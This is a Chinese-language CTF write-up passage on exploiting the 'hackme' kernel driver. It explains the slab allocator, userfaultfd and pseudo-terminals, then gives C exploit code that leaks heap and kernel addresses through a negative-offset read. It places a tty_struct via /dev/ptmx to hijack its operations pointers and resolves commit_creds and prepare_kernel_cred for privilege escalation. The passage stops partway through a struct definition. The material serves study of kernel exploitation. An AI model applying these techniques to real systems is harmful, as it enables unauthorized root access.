承接上文
一
参考的还是bsauce大佬的文章
bsauce
稍微回顾一下
漏洞有两个
首先我们显而易见的在读写object的时候对offset没有检查
如果我们的offset是负数
就可以任意地址读写。
第二个是条件竞争
是双核的,对pool的时候缺少锁。
如果我们在一个线程释放obiect的时候另一个线程去对他进行读写,就可以触发uaf。
首先我们要充分熟悉一下slab机制
在Linux中,伙伴系统(buddy system)是以页为单位管理和分配内存。但是现实的需求却以字节为单位,假如我们需要申请20Bytes,总不能分配一页吧!那岂不是严重浪费内存。那么该如何分配呢?slab分配器就应运而生了,专为小内存分配而生。slab分配器分配内存以Byte为单位。但是slab分配器并没有脱离伙伴系统,而是基于伙伴系统分配的大内存进一步细分成小内存分配。
https://blog.youkuaiyun.com/xiaoqiaoq0/article/details/122051942
再熟悉一下userfaultfd机制
内存页的分配是创建时先分配页表但并不会实际分配物理页面。在读写发生时,由于物理页面不存在,触发缺页异常进入内核处理该缺页中断,再实际分配物理页面进行相应的读写。这种延迟分配的机制使得系统性能在一定程序上得到了提升。
userfaultfd机制允许在用户态处理缺页异常,这个特性使得它在内核漏洞利用中可以发挥较大的作用。一个典型的场景时mmap出来一块内存,使用userfaultfd监视该地址,如果发生缺页异常先进入内核,再从内核到用户态定义的缺页处理程序,此时可以在用户态暂停从而间接的实现暂停内核态代码的运行。这种特性使得该机制在竞争以及double fetch类的漏洞利用中能够发挥较大作用。
上次说了通过任意地址读写劫持modprobe_path的思路
bsauce大佬还提出几种思路
我们也来复现一下。
这个是劫持tty_struct 的ioctl函数
save_status();
int fd = open("/dev/hackme", 0);
char *mem = malloc(0x2000);
memset(mem,'A',0x2000);
size_t heap_addr , kernel_addr,mod_addr;
if (fd < 0){
printf("[-] bad open /dev/hackme\n");
exit(-1);
}
alloc(fd,0,mem,0x400);
alloc(fd,1,mem,0x400);
alloc(fd,2,mem,0x400);
alloc(fd,3,mem,0x400);
alloc(fd,4,mem,0x400);
alloc(fd,5,mem,0x400);
delete(fd,2);
delete(fd,4);
read_from_kernel(fd,5,mem,0x400,-0x400);
heap_addr = *((size_t *)mem);
printf("[+] heap addr : %16llx\n",heap_addr );
save_status函数保存了当前状态
然后就是正常的跟之前一样的泄露heap基地址
int ptmx_fd = open("/dev/ptmx",0);
if (ptmx_fd < 0){
printf("[-] bad open /dev/ptmx\n");
exit(-1);
}
printf("[+] ptmx fd : %d\n",ptmx_fd);
read_from_kernel(fd,5,mem,0x400,-0x400);
kernel_addr = *((size_t *)(mem+0x18)) ;
kernel_addr -= 0x625d80;
printf("[+] kernel addr : %16llx\n",kernel_addr );
prepare_kernel_cred = 0x4d3d0 + kernel_addr;
commit_creds = 0xbcfb0+kernel_addr;
然后打开了/dev/ptmx设备
这个设备是干嘛的?
我们得首先了解一下linux 伪终端
具体到/dev/ptmx用处:
我们打开的终端桌面程序,比如 GNOME Terminal,其实是一种终端模拟软件。当终端模拟软件运行时,它通过打开 /dev/ptmx 文件创建了一个伪终端的 master 和 slave 对,并让 shell 运行在 slave 端。当用户在终端模拟软件中按下键盘按键时,它产生字节流并写入 master 中,shell 进程便可从 slave 中读取输入;shell 和它的子程序,将输出内容写入 slave 中,由终端模拟软件负责将字符打印到窗口中。
打开/dev/ptmx设备之后会创建一个tty结构体
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
int alt_speed; /* For magic substitution of 38400 bps */
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
};
里面的重点是一个tty_operations指针
它指向一个结构体
这个就构体里面充斥着大量的指针
那么我们的机会就来了。
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file